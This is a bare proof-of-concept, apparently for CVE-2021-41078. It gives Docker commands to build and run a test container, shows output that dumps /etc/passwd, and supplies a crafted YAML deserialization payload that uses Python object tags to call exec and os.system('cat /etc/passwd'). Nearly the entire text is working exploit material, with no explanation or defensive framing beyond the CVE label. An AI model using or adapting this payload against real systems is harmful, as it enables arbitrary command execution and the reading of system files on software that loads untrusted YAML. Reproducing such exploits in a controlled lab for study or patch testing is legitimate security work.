docker build -t cve-2021-41078 .

docker run -it --rm cve-2021-41078

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
-- snip --

!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"